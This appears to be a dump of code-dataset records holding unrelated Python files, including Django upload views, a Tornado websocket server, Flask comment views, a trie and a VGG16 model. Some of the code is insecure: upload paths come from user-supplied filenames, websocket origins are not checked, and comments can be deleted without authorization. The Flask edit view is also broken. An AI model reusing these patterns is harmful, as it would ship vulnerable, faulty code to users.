checkpoints['rgb'])\n# flow_saver.restore(sess, checkpoints['flow'])\n \n tf.logging.info('RGB checkpoint restored')\n tf.logging.info('Flow checkpoint restored')\n \n feat_path = raw_path[data_source]\n \n save_pn = data_source + '_' + feat_extractor\n save_path = save_paths[save_pn]\n\n feat_step = 16\n\n video_list = os.listdir(feat_path)\n# print(len(video_list))\n for video in video_list:\n# video = 'video_test_0001292'\n \n video_path = os.path.join(feat_path, video)\n# if not os.path.exists(video_path):\n# os.makedirs(video_path)\n print(video_path)\n num_frames = len(os.listdir(video_path))/3\n index = np.arange(num_frames-8, step=8)\n# print(len(index))\n for idx in index:\n rgb_batch = get_batch(idx, feat_step, video_path, video, type='rgb')\n flow_batch = get_batch(idx, feat_step, video_path, video, type='flow')\n\n rgb_arr = rgb_batch[np.newaxis, :]\n# rgb_arr = (rgb_arr/255.0)*2-1\n flow_arr = flow_batch[np.newaxis, :]\n# flow_arr = (flow_arr/255.0)*2-1\n\n feed_dict[rgb_input] = rgb_arr\n feed_dict[flow_input] = flow_arr\n\n rgb, flow = sess.run([rgb_feat, flow_feat], feed_dict=feed_dict)\n# print(rgb.shape, flow.shape)\n rgb = get_mean_var(rgb)\n flow = get_mean_var(flow)\n print(rgb.shape, flow.shape)\n save_name = video+'.mp4_'+str(float(idx+1))+'_'+str(float(str(idx+1+feat_step)))+'.npy'\n print(save_path,save_name)\n np.save(os.path.join(save_path, 'rgb', save_name), rgb)\n np.save(os.path.join(save_path, 'flow', save_name), flow)\n \n# break\n \n\n\n# In[19]:\n\n\nextract_feat(feat_extractor=inp1, data_source=inp2)\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"feat_extractor(2019.7.25)/extract_feature_7.25.py","file_name":"extract_feature_7.25.py","file_ext":"py","file_size_in_byte":7910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"597746738","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom photologue.models import *\nfrom django.shortcuts import render_to_response\nfrom django.conf import settings\nimport os\nfrom PIL import Image\nimport datetime\nfrom .models import Text\nfrom .models import PhotoTextMap\n\ndef upload(request):\n return render(request,'example1/upload.html')\n\ndef allupload(request):\n try:\n f=request.FILES['xinwentuxiang']\n if f.size > 5000000:\n return HttpResponse(\"it is large!\")\n try:\n parser=ImageFile.Parser()\n for chunk in f.chunks():\n parser.feed(chunk)\n img=parser.close()\n except IOError:\n return HttpResponse(\"it is an io error!\")\n imageName='photologue/photos/'+f.name\n name=settings.STATIC_PATH+'/'+imageName\n \n img=Image.open(f)\n img.save(name) \n\n except UnicodeEncodeError:\n return render_to_response('example1/upload.html',{'image_error':\"please use English\"})\n\n now ='00TB'+datetime.datetime.now().strftime(\"%Y%m%d%H%M%S\")\n photoInfo=Photo(image=imageName,title=now,slug=now,is_public=True)\n photoInfo.save()\n\n phototype=\"0000\" \n \n\n try:\n f1=request.FILES['fengmiantuxiang']\n if f1.size > 5000000:\n return HttpResponse(\"it is large!\")\n try:\n parser1=ImageFile.Parser()\n for chunk1 in f1.chunks():\n parser1.feed(chunk1)\n img1=parser1.close()\n except IOError:\n return HttpResponse(\"it is an io error!\")\n imageName1='photologue/photos/'+f1.name\n name1=settings.STATIC_PATH+'/'+imageName1\n \n img1=Image.open(f1)\n img1.save(name1) \n except UnicodeEncodeError:\n return render_to_response('example1/upload.html',{'image_error':\"please use English\"})\n\n now1 ='11TB'+datetime.datetime.now().strftime(\"%Y%m%d%H%M%S\")\n photoInfo1=Photo(image=imageName1,title=now1,slug=now1,is_public=True)\n photoInfo1.save()\n\n phototype1=\"0001\" \n\n title=request.POST['xinwenwenbenkuang']\n content=request.POST['xinwenwenbenyu']\n name=request.POST['tuxiangwenbenkuang']\n tt=Text()\n tt.text_title=title\n tt.text_content=content\n tt.photo_name=name\n tt.save() \n\n pe=PhotoTextMap()\n pe.PhotoTextMap_texttitle=title\n pe.PhotoTextMap_phototype=phototype\n pe.PhotoTextMap_phototitle=now\n pe.save()\n\n pe1=PhotoTextMap()\n pe1.PhotoTextMap_texttitle=title\n pe1.PhotoTextMap_phototype=phototype1\n pe1.PhotoTextMap_phototitle=now1\n pe1.save() \n\n return HttpResponse(\"it is ok!\") \n\ndef showall(request):\n photo_list= Photo.objects.all()\n text_list=Text.objects.all()\n phototextmap_list=PhotoTextMap.objects.all()\n return render_to_response('example1/showall.html',{'photo_list':photo_list,'text_list':text_list,'phototextmap_list':phototextmap_list})\n\ndef showmore(request,phototextmapPhotoTextMap_phototitle):\n m=phototextmapPhotoTextMap_phototitle\n pp=PhotoTextMap.objects.get(PhotoTextMap_phototitle=m)\n p=pp.PhotoTextMap_texttitle\n t=Text.objects.get(text_title=p)\n photo_list= Photo.objects.all()\n phototextmap_list=PhotoTextMap.objects.all()\n return render_to_response('example1/showmore.html',{'photo_list':photo_list,'phototextmap_list':phototextmap_list,'t':t})\n","sub_path":"gongzuo/example001/example1/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"321593267","text":"import time\nimport sys\nn=2520\nb=False\nfor i in range(20,sys.maxsize):\n\tif b==False:\n\t\tfor j in range(2,21):\n\t\t\tif not i%j==0:\n\t\t\t\tbreak\n\t\t\telif j==20:\n\t\t\t\tprint(i)\n\t\t\t\tb=True\n\t\t\t\tbreak\n\telse:\n\t\tbreak\n\n\nprint(time.process_time())\nprint(\" seconds\")\n","sub_path":"euler5/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"572071967","text":"import os\nimport sys\nimport tornado.httpserver as httpserv\nimport tornado.websocket as ws\nimport tornado.ioloop as ilop\nimport tornado.web as tw\n\nfrom django.conf import settings\nfrom getaran.data import bacalah\n\nCHECKER = 'Date'\nSTART_LINE = 15\n\n\nclass WSHandler(ws.WebSocketHandler):\n def __init__(self, *args, **kwargs):\n self.cb = ilop.PeriodicCallback(self.send_data, 10000)\n super(WSHandler, self).__init__(*args, **kwargs)\n\n def data_received(self, chunk):\n pass\n\n def check_origin(self, origin):\n return True\n\n def open(self):\n print('Websocket terhubung dengan:', self.request.headers['Origin'])\n self.cb.start()\n\n def send_data(self):\n dt = {}\n files = [x for x in os.listdir(PATH) if x.endswith('.txt')]\n for file in files:\n d_file = os.path.join(PATH, file)\n with open(d_file, 'r') as f:\n first_line = f.readline()\n\n if CHECKER in first_line:\n with open(d_file, 'r') as fs:\n lines = fs.readlines()\n\n with open(d_file, 'w') as fw:\n fw.writelines(lines[START_LINE:])\n df = bacalah.baca(d_file, kondisi='index')\n\n dt[file[1:-4]] = {\n 'depan': {\n 'x': [float(file[1:-4].split('_')[1])] * df['frekuensi'].count().compute(),\n 'y': df['frekuensi'].compute().tolist(),\n 'z': df['ampl_front'].compute().tolist()\n },\n 'belakang': {\n 'x': [float(file[1:-4].split('_')[1])] * df['frekuensi'].count().compute(),\n 'y': list(df['frekuensi'].compute()),\n 'z': list(df['ampl_rear'].compute())\n }\n }\n\n self.write_message(dt)\n\n def on_message(self, message):\n pass\n\n def on_close(self):\n print('Websocket ditutup dari:', self.request.headers['Origin'])\n self.cb.stop()\n\napplication = tw.Application([\n (r'/', WSHandler),\n])\n\nif __name__ == \"__main__\":\n sys.path.append('/home/kiya/Documents/Development/freq')\n os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'freq.settings')\n PATH = settings.LOKASI_DATA\n\n http_server = httpserv.HTTPServer(application)\n http_server.listen(5678)\n ilop.IOLoop.instance().start()\n","sub_path":"getaran/data/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":2381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"567964698","text":"# -*- coding: utf-8 -*\nfrom flask import render_template, redirect, request, url_for, flash, current_app\nfrom flask.ext.login import login_user, logout_user, login_required, \\\n current_user\nfrom .. import db\nfrom ..models import Comment\nfrom . import comment\nfrom .forms import CommentForm\nfrom datetime import datetime\n\n@comment.route('/delete_comment/', methods=['GET', 'POST'])\n@login_required\ndef delete_comment(id):\n comment = Comment.query.filter_by(id=id).first_or_404()\n tid, turl = ( comment.topic.id, 'topic.show_topic') if comment.topic else \\\n (comment.note.id, 'note.show_note')\n\n db.session.delete(comment)\n return redirect(url_for(turl, id=tid))\n\n \n@comment.route('/edit_comment/', methods=['GET', 'POST'])\n@login_required\ndef edit_comment(id):\n form = CommentForm()\n\n if form.validate_on_submit():\n comment.contents = form.body.data\n comment.lastupdate_timestamp = datetime.utcnow()\n db.session.add(comment)\n db.session.commit()\n if comment.topic:\n return redirect(url_for('topic.show_topic', id=comment.topic.id))\n else:\n return redirect(url_for('note.show_note', id=comment.note.id)) \n form.body.data = comment.contents\n return render_template(\"comment/edit_comment.html\", form=form)\n \n","sub_path":"NoteBook/comment/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"419149935","text":"'''\nA trie (pronounced as \"try\") or prefix tree is a tree data structure used to efficiently store and retrieve keys in a dataset of strings. There are various applications of this data structure, such as autocomplete and spellchecker.\nImplement the Trie class:\nTrie() Initializes the trie object.\nvoid insert(String word) Inserts the string word into the trie.\nboolean search(String word) Returns true if the string word is in the trie (i.e., was inserted before), and false otherwise.\nboolean startsWith(String prefix) Returns true if there is a previously inserted string word that has the prefix prefix, and false otherwise.\n\nExample 1:\nInput\n[\"Trie\", \"insert\", \"search\", \"search\", \"startsWith\", \"insert\", \"search\"]\n[[], [\"apple\"], [\"apple\"], [\"app\"], [\"app\"], [\"app\"], [\"app\"]]\nOutput\n[null, null, true, false, true, null, true]\n\nExplanation\nTrie trie = new Trie();\ntrie.insert(\"apple\");\ntrie.search(\"apple\"); // return True\ntrie.search(\"app\"); // return False\ntrie.startsWith(\"app\"); // return True\ntrie.insert(\"app\");\ntrie.search(\"app\"); // return True\n\nUsed as spell checker, autocomplete, IP routing, T9 predictive test, word games\n'''\n\n\"\"\"\nTrie representation in form of nested dictionary:\n\n{ 'b': { 'a': { 'l': { 'l': { '$': True}},\n 't': { '$': True}}},\n 'd': { 'o': { '$': True,\n 'l': { 'l': { '$': True}},\n 'r': { 'k': { '$': True},\n 'm': { '$': True}}}},\n 's': { 'e': { 'n': { 'd': { '$': True},\n 's': { 'e': { '$': True}}}}}}\n\"\"\"\n\nclass Trie:\n def __init__(self):\n \"\"\"\n Initialize your data structure here\n \"\"\"\n self.root = {}\n\n def insert(self, word: str) -> None:\n \"\"\"\n Inserts a word into the trie\n \"\"\"\n start = self.root\n for i in word:\n if i not in start:\n # This is not a prefix for any word that has been added\n # Initialize an empty dictionary for every letter of the word added\n # Letters of the word is mapped to each other as nested dictionary values\n start[i] = {}\n\n start = start[i] # points to last letter of the word inserted\n\n start['$'] = True # marks the end of word\n\n def search(self, word:str) -> bool:\n \"\"\"\n returns True if word is in Trie\n \"\"\"\n start = self.root\n for i in word:\n if i not in start:\n return False\n start = start[i]\n return '$' in start\n\n def startsWith(self, prefix:str) -> bool:\n \"\"\"\n Returns True if any word has given prefix\n \"\"\"\n start = self.root\n for i in prefix:\n if i not in start:\n return False\n start = start[i]\n return True\n\n\n\n\n# Your Trie object will be instantiated and called as such:\ntrie = Trie()\nprint(trie.insert(\"apple\"))\nprint(trie.search(\"apple\"))\nprint(trie.search(\"app\"))\nprint(trie.startsWith(\"app\"))\nprint(trie.insert(\"app\"))\nprint(trie.search(\"app\"))\n","sub_path":"Leetcode questions and answers/Trie_Implement_Prefix_Trie.py","file_name":"Trie_Implement_Prefix_Trie.py","file_ext":"py","file_size_in_byte":3130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"541539136","text":"from sage.all import *\nfrom phi_computation import *\nfrom lattice_package import *\nimport sys\nimport datetime\nimport logging\n\nM = GLattice.dade(4,9)\nG = M.group\ni = G.sylow_subgroup()\nM = M.restriction(i)\nG = i.domain_group\n\nlog = []\n\nprint(Phi(M))\n\nsys.exit()\n\nx0, x1, x2 = G.get_gens()\nv1, v2, v3, v4 = M._get_basis_elements_list()\np = M.orbit_cover([v2, v3])\nassert p.is_coflasque(verbose=False)\nN_original = p.kernel_map().domain\n\nsys.exit()\n\nbig_groups_generators = [subgroup_gens for subgroup_gens in G.conjugate_subgroups()\n if len(G.subgroup(subgroup_gens).domain_group.get_elements())>4]\n\ncounter=1\nfor subgroup_gens in reversed(big_groups_generators):\n i_H = G.subgroup(subgroup_gens)\n N = N_original.restriction(i_H)\n H = i_H.domain_group\n start = time.time()\n result = Phi(N)\n end = time.time()\n log.append({ 'subgroup H': str(subgroup_gens),\n '#H': str(len(H.get_elements())),\n 'rank of Phi(H, N)': str(result['Phi']),\n 'rank of H1(H, Gamma^2(N)/2)': str(result['H1(H, Gamma^2(N)/2)']),\n 'rank of H1(H, Lambda^2(N)/2)': str(result['H1(H, Lambda^2(N)/2)']),\n 'rank of im(H1(H, Gamma^2(N)/2) -> H1(H, Lambda^2(N)/2)': \\\n str(result['im(H1(H, Gamma^2(N)/2) -> H1(H, Lambda^2(N)/2)']),\n 'rank of im(H1(H, Lambda^2(N)) -> H1(H, Lambda^2(N)/2)': \\\n str(result['im(H1(H, Lambda^2(N)) -> H1(H, Lambda^2(N)/2)']),\n 'computed in': str(end-start)\n })\n print(str(subgroup_gens)+' done '+str(counter)+' out of '+str(len(big_groups_generators)))\n counter+=1\n\nwith open('4dDade9.txt', 'w') as outfile:\n json.dump(log, outfile)\n","sub_path":"4d case/4dcaseDade9.py","file_name":"4dcaseDade9.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"384753033","text":"# coding -*- utf-8 -*-\n\nfrom tksheet import Sheet\nimport tkinter as tk\nfrom student import *\nfrom student_adapter import *\nfrom db_adapter import *\n\nclass demo(tk.Tk):\n def __init__(s, db):\n tk.Tk.__init__(s)\n s.db = db\n \n s.grid_columnconfigure(0,weight=1)\n s.grid_rowconfigure(0,weight=1)\n s.frame = tk.Frame(s)\n s.addBtn = tk.Button(s.frame, text=u'добавить')\n s.addBtn.grid(row=0,column=0,sticky='nswe')\n s.addBtn.config(command = s.click_event)\n s.frame.grid_rowconfigure(0, weight=1)\n s.frame.grid_columnconfigure(0, weight=1)\n s.sheet = Sheet(s.frame,\n page_up_down_select_row = True,\n column_width = 130,\n data = [student_adapter(student,db) for student in db.get_student()]\n )\n s.sheet.enable_bindings((\"single_select\",\n 'edit_cell'))\n\n s.frame.grid(row=0,column=0, sticky = 'nswe')\n s.sheet.grid(row=1,column=0, sticky = 'nswe')\n \n def click_event(s):\n '''\n Add new empty student record\n '''\n s.sheet.insert_row(values=student_adapter(student(),s.db), redraw=True)\n\ndef main():\n mydb = db()\n app = demo(mydb)\n app.mainloop()\n\nif __name__ == '__main__':\n main()\n","sub_path":"tkinter_view.py","file_name":"tkinter_view.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"84246498","text":"from collections import defaultdict\n\nimport numpy as np\nfrom scipy import spatial\nimport numpy.lib.recfunctions\n\nfrom molmimic.common.DistributedStructure import DistributedStructure\nfrom molmimic.common.ProteinTables import vdw_aa_radii\nfrom molmimic.common.features import default_atom_features, default_residue_features\n\nclass DistributedVoxelizedStructure(DistributedStructure):\n def __init__(self, path, key, cath_domain_dataset, coarse_grained=False, file_mode=\"r\",\n volume=264, voxel_size=1.0, rotate=None, use_features=None, predict_features=None,\n replace_na=False, ligand=False):\n super().__init__(path, key, cath_domain_dataset, coarse_grained=coarse_grained,\n file_mode=file_mode)\n\n self.mean_coord = np.zeros(3)\n self.mean_coord_updated = False\n\n self.volume = volume\n self.voxel_size = voxel_size\n self.voxel_tree = None\n self.atom_tree = None\n\n self.use_features = use_features if use_features is not None else self.feature_names\n self.predict_features = predict_features\n\n if self.predict_features is not None and use_features is not None:\n assert len(set(self.predict_features).intersection(set(self.use_features)))==0, \\\n \"Cannot train on and predict the same features\"\n\n self.replace_na = replace_na\n\n self.ligand = ligand\n\n if rotate is None or (isinstance(rotate, bool) and not rotate):\n self.shift_coords_to_volume_center()\n self.set_voxel_size(self.voxel_size)\n elif isinstance(rotate, str) and rotate == \"pai\":\n self.orient_to_pai()\n self.shift_coords_to_volume_center()\n self.set_voxel_size(self.voxel_size)\n elif (isinstance(rotate, str) and rotate == \"random\") or (isinstance(rotate, bool) and rotate):\n next(self.rotate())\n elif isinstance(rotate, np.ndarray):\n next(self.rotate(rotate))\n else:\n raise RuntimeError(\"Invalid rotation option. Must be None or False for no rotation, 'pai' to orient to princple axis, 'random' for random rotation matrix, or an actual roation matrix\")\n\n def create_full_volume(self, input_shape=(96, 96, 96)):\n truth_grid = np.zeros(list(input_shape)+[1])\n for atom in self.get_atoms():\n for grid in self.get_vdw_grid_coords_for_atom(atom[\"X\", \"Y\", \"Z\"]):\n truth_grid[grid[0], grid[1], grid[2], 0] = 1\n return truth_grid\n\n def shift_coords_to_volume_center(self):\n return self.shift_coords(np.array([self.volume/2]*3))\n\n def resize_volume(self, new_volume, shift=True):\n self.volume = new_volume\n if shift:\n self.shift_coords_to_volume_center()\n\n def rotate(self, rvs=None, num=1, return_to=None):\n if return_to is None:\n return_to=[self.volume/2]*3\n for r in super().rotate(rvs=rvs, num=num, return_to=return_to):\n self.set_voxel_size(self.voxel_size)\n yield r\n\n def orient_to_pai(self, random_flip=False, flip_axis=(0.2, 0.2, 0.2)):\n super().orient_to_pai(random_flip=random_flip, flip_axis=flip_axis)\n self.shift_coords_to_volume_center()\n\n def get_features_per_atom(residue_list):\n \"\"\"Get features for eah atom, but not organized in grid\"\"\"\n return self.data[self.data[:,\"residue_id\"].isin(residue_list)]\n\n def get_features(self, residue_list=None, only_aa=False, only_atom=False,\n non_geom_features=False, use_deepsite_features=False, expand_atom=False,\n undersample=False, autoencoder=False):\n if self.coarse_grained:\n return self.map_residues_to_voxel_space(\n truth_residues=residue_list,\n include_full_protein=include_full_protein,\n only_aa=only_aa,\n non_geom_features=non_geom_features,\n undersample=undersample\n )\n return self.map_atoms_to_voxel_space(\n expand_atom=expand_atom,\n truth_residues=residue_list,\n include_full_protein=include_full_protein,\n only_aa=only_aa,\n only_atom=only_atom,\n use_deepsite_features=use_deepsite_features,\n non_geom_features=non_geom_features,\n undersample=undersample)\n\n def map_atoms_to_voxel_space(self, truth_residues=None,\n only_surface=False, autoencoder=False, return_voxel_map=False,\n return_serial=False, return_b=False, nClasses=2, simple_fft=None,\n verbose=False, use_raw_atom_coords=False):\n \"\"\"Map atoms to sparse voxel space.\n\n Parameters\n ----------\n truth_residues : list of Bio.PDB.Residue objects or None\n If a binding is known, add the list of Bio.PDB.Residue objects, usually\n obtained by Structure.align_seq_to_struc()\n include_full_protein : boolean\n If true, all atoms from the protein are used. Else, just the atoms from the\n defined binding site. Only makes sense if truth_residues is not None\n Returns\n -------\n indices : np.array((nVoxels,3))\n data : np.array((nVoxels,nFeatures))\n \"\"\"\n assert not self.coarse_grained, \"Cannot be used with the coarse graned model\"\n assert [isinstance(truth_residues, (list, tuple)), autoencoder, isinstance(self.predict_features, (list, tuple))].count(True) == 1, \\\n \"Only truth_residues or autoencoder can be set\"\n\n if truth_residues is not None:\n predicting_features = False\n else:\n predicting_features = isinstance(self.predict_features, (list, tuple))\n\n data_voxels = defaultdict(lambda: np.zeros(len(self.use_features)))\n truth_voxels = {}\n\n voxel_map = {}\n\n b_factors_voxels = {}\n serial_number_voxels = defaultdict(list)\n\n skipped = 0\n skipped_inside = []\n\n if nClasses == 2:\n true_value_ = np.array([0.,1.])\n neg_value_ = np.array([1.,0.])\n elif nClasses == 1:\n true_value_ = np.array([1.])\n neg_value_ = np.array([0.])\n elif nClasses == \"sfams\":\n raise RuntimeError(\"Sfams not implemented\")\n else:\n true_value_ = np.array([1.])\n neg_value_ = np.array([0.])\n\n data = self.data #[self.use_features]\n\n if self.replace_na:\n for feature in self.use_features:\n ind = data[feature] == np.nan\n data[feature][ind] = default_atom_features[feature]\n\n for atom_index in range(len(self.data)):\n atom = data[atom_index]\n\n if only_surface and atom[\"residue_buried\"]==1:\n continue\n\n if autoencoder or predicting_features:\n truth = True\n elif truth_residues is None:\n truth = False\n else:\n truth = atom[\"residue_id\"] in truth_residues\n\n features = atom[self.use_features]\n\n features = numpy.lib.recfunctions.structured_to_unstructured(features)\n\n if simple_fft is not None:\n features = self.simple_fft_scoring_features(atom, mode=simple_fft)\n\n #Handle truth values if its not an autoencoder\n if predicting_features:\n truth_value = atom[self.self.predict_features]\n elif truth_residues is not None:\n truth_value = true_value_.copy() if truth else neg_value_.copy()\n\n if use_raw_atom_coords:\n grid_coords = [tuple(self.coords[atom_index])]\n else:\n grid_coords = [tuple(g) for g in self.get_vdw_grid_coords_for_atom(atom, atom_index)]\n\n voxel_map[atom[\"serial_number\"]] = grid_coords\n\n for atom_grid in grid_coords:\n try:\n data_value = np.maximum(features, data_voxels[atom_grid])\n data_voxels[atom_grid] = data_value\n except ValueError:\n print(data_voxels[atom_grid].shape, features.shape)\n raise\n if not autoencoder:\n truth_voxels[atom_grid] = np.maximum(\n truth_value, truth_voxels.get(atom_grid, truth_value))\n\n b_factors_voxels[atom_grid] = np.maximum(\n atom[\"bfactor\"], b_factors_voxels.get(atom_grid, 0))\n serial_number_voxels[atom_grid].append(atom[\"serial_number\"])\n\n outputs = None\n\n try:\n coords, feats = zip(*data_voxels.items())\n outputs = [np.array(coords), np.array(feats)]\n\n if truth_residues is not None and not autoencoder:\n truth = np.array([truth_voxels[grid] for grid in coords])\n else:\n truth = None\n\n outputs.append(truth)\n\n except Exception as e:\n print(e)\n raise\n\n if return_voxel_map:\n outputs.append(voxel_map)\n else:\n outputs.append(None)\n\n if return_serial:\n outputs.append([serial_number_voxels[grid] for grid in coords])\n else:\n outputs.append(None)\n\n if return_b:\n outputs.append(np.array([b_factors_voxels[grid] for grid in coords]))\n\n return outputs\n\n def map_residues_to_voxel_space(self, truth_residues=None, only_surface=True,\n autoencoder=False, return_voxel_map=False, return_serial=False, return_b=False,\n nClasses=2, simple_fft=None, verbose=False):\n return map_atoms_to_voxel_space(self, truth_residues=truth_residues,\n only_surface=only_surface, autoencoder=autoencoder,\n return_voxel_map=return_voxel_map, return_serial=return_serial,\n return_b=return_b, nClasses=nClasses, simple_fft=simple_fft,\n verbose=verbose)\n\n def simple_fft_scoring_features(self, atom_or_residue, mode=\"simple\", b=3):\n \"\"\"Rp=−1 on a surface layer and Rp=1 on the core of the receptor,\n Lp=1 on the entire ligand, and Rp=Lp=0 everywhere else. It is clear that\n this scoring function, which is essentially the one used by\n Katchalski-Katzir et al. (5), reaches its minimum on a conformation in\n which the ligand maximally overlaps with the surface layer of the receptor,\n thus providing optimal shape complementarity. https://doi.org/10.1073/pnas.1603929113\"\"\"\n\n if not self.coarse_grained:\n residue_buried = self.atom_features[atom_or_residue, \"residue_rasa\"]<0.5\n charge = self.features[atom_or_residue, \"charge\"]\n electrostatic_potential = self.features[atom_or_residue, \"electrostatic_potential\"]\n else:\n residue_buried = self.features[atom_or_residue, \"residue_buried\"]\n charge = self.features[atom_or_residue, \"charge\"]\n electrostatic_potential = self.eatures[atom_or_residue, \"electrostatic_potential\"]\n\n if mode in [True, \"simple\"]:\n if not self.ligand:\n if residue_buried:\n features = np.array([-15, 0])\n else:\n features = np.array([1, 0])\n else:\n features = np.array([1, 0])\n # if residue_buried:\n # features = np.array([-15, 0])\n # else:\n # features = np.array([1, 0])\n\n return features\n\n elif mode == \"zdock\":\n psc_elec = np.array([\n 3.5**2 if residue_buried else 3.5, #Same for ligand\n charge if not self.ligand else 0\n ])\n\n return psc_elec\n\n else:\n print(\"Mode is\", mode, mode in [True])\n\n def get_vdw_grid_coords_for_atom(self, atom, atom_index):\n dist = self.get_vdw(atom)\n coord = np.around(self.coords[atom_index], decimals=4)\n neighbors = self.voxel_tree.query_ball_point(coord, r=dist)\n for idx in neighbors:\n yield self.voxel_tree.data[idx]\n\n def get_closest_grid_coord_for_atom(self, atom):\n _, neighbors = self.voxel_tree.query([atom.coord])\n for idx in neighbors:\n yield self.voxel_tree.data[idx]\n\n def get_vdw_grid_coords_for_residue(self, residue):\n dist = vdw_aa_radii.get(residue.get_resname(), 3.2)\n center = np.nanmean([a.get_coord() for a in residue], axis=0)\n neighbors = self.voxel_tree.query_ball_point(center, r=dist)\n for idx in neighbors:\n yield self.voxel_tree.data[idx]\n\n def get_closest_grid_coord_for_residue(self, residue):\n center = np.nanmean([a.get_coord() for a in residue], axis=0)\n _, neighbors = self.voxel_tree.query([center])\n for idx in neighbors:\n yield self.voxel_tree.data[idx]\n\n # def rotate(self, rvs=None, num=1):\n # for r, M in super().rotate(rvs=rvs, num=num):\n # self.set_voxel_size(self.voxel_size)\n # yield r, M\n\n def resize_volume(self, new_volume, shift=True):\n super().resize_volume(new_volume, shift=shift)\n self.set_voxel_size(self.voxel_size)\n\n def set_voxel_size(self, voxel_size=None, full_grid=True):\n self.voxel_size = voxel_size or 1.0\n\n coords = self.get_coords()\n min_coord = np.floor(np.nanmin(coords, axis=0))-5\n max_coord = np.ceil(np.nanmax(coords, axis=0))+5\n max_dist = np.linalg.norm(max_coord-min_coord)\n\n if full_grid:\n min_coord_ = np.zeros(3)\n max_coord_ = np.array([self.volume]*3)\n max_dist_ = np.linalg.norm(max_coord_-min_coord_)\n\n fail = False\n if np.any(min_coord=max_coord_):\n print(f\"Max coordinate outside grid: {max_coord} > {max_coord_}\")\n fail=True\n assert not fail\n max_coord = max_coord\n min_coord = min_coord\n\n extent_x = np.arange(min_coord[0], max_coord[0], self.voxel_size)\n extent_y = np.arange(min_coord[1], max_coord[1], self.voxel_size)\n extent_z = np.arange(min_coord[2], max_coord[2], self.voxel_size)\n mx, my, mz = np.meshgrid(extent_x, extent_y, extent_z)\n\n self.voxel_tree = spatial.cKDTree(list(zip(mx.ravel(), my.ravel(), mz.ravel())))\n #spatial.cKDTree(self.get_coords())\n\n def convert_voxels(self, grid, radius=2.75, level=\"A\"):\n \"\"\"Convert grid points to atoms\n \"\"\"\n if self.atom_tree is None:\n self.atom_tree = spatial.cKDTree(list(self.get_atoms()))\n\n idx = self.atom_tree.query_ball_point(grid, radius)\n return self.data[idx]\n\n def get_overlapping_voxels(self):\n neighbor_atoms = self.calculate_neighbors(d_cutoff=5.0, level=\"A\")\n for a1, a2 in neighbor_atoms:\n v1 = set(self.get_vdw_grid_coords_for_atom(a1))\n v2 = set(self.get_vdw_grid_coords_for_atom(a2))\n overlap = v1.intersection(v2)\n yield a1, a2, overlap\n","sub_path":"molmimic/common/DistributedVoxelizedStructure.py","file_name":"DistributedVoxelizedStructure.py","file_ext":"py","file_size_in_byte":15125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"168414493","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# alexnet_obj_return.py\n\n\"\"\"\nThe script is the self-consistent realization of object-oriented style of the Vgg16 model with the \nreturn value \"conv_base\" or \"model\". It is an attempt to re-organize both the conv_base and fc_base\nfor flexible usage. \n\nIn addtion, it has a consolidated structure with the purely Tensorflow 2.x. We set the same 1000 class \nnumbers. Please use the following call convention if users adopt any client script to call the AlexNet \nmodel.\n\nIssues:\n\nThe script includes deplicated line of code because the function of Concatenate or k.concatenate can \nnot assembe the abstact layers in the Sequential Model. Therefore, we need to eliminatee the repeated \ncode for elegant realization. \n\n# https://keras.io/api/layers/merging_layers/concatenate/\n# -from tensorflow.keras.layers import Concatenate\nor\n# -import keras.backend as K\nor \n# -model = merge(conv_base + fc_base) \n\nAccording to the formula of Stanford cs231, W_output = (W-F+2P)/S + 1. W,F,P,S are input width, filter \nwidth, padding size and stride respectively. It is the apparent result of H_output = W_output since we \nrequires the square size of filters.\n\nStanford c231n \nhttps://cs231n.github.io/convolutional-networks/#conv\n\nVery Deep Convolutional Networks for Large-Scale Image Recognition\nICLR 2015: https://arxiv.org/abs/1409.1556\n\nKeras code: \nhttps://github.com/keras-team/keras-applications/blob/master/keras_applications/vgg16.py\n\nTensorflow code: \nhttps://github.com/tensorflow/models/blob/master/research/slim/nets/vgg.py\n\"\"\"\n\n\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\n\n\nclass Vgg16(object):\n # Adopt the static method to enable the elegant realization of the model \n @staticmethod \n def build(input_shape, num_classes, exclude_fc=None):\n\n if exclude_fc: \n # Make the sequential conv_base \n conv_base = keras.Sequential(\n [ \n keras.Input(shape=input_shape),\n\n # Conv Block 1 \n layers.Conv2D(filters=64, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.Conv2D(filters=64, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.MaxPooling2D(pool_size=(2,2), strides=(2,2)),\n\n # Conv Block 2 \n layers.Conv2D(filters=128, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.Conv2D(filters=128, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.MaxPooling2D(pool_size=(2,2), strides=(2,2)),\n\n # Conv Block 3 \n layers.Conv2D(filters=256, kernel_size=(3,3), padding=\"same\", activation=\"relu\", kernel_initializer='he_normal'),\n layers.Conv2D(filters=256, kernel_size=(3,3), padding=\"same\", 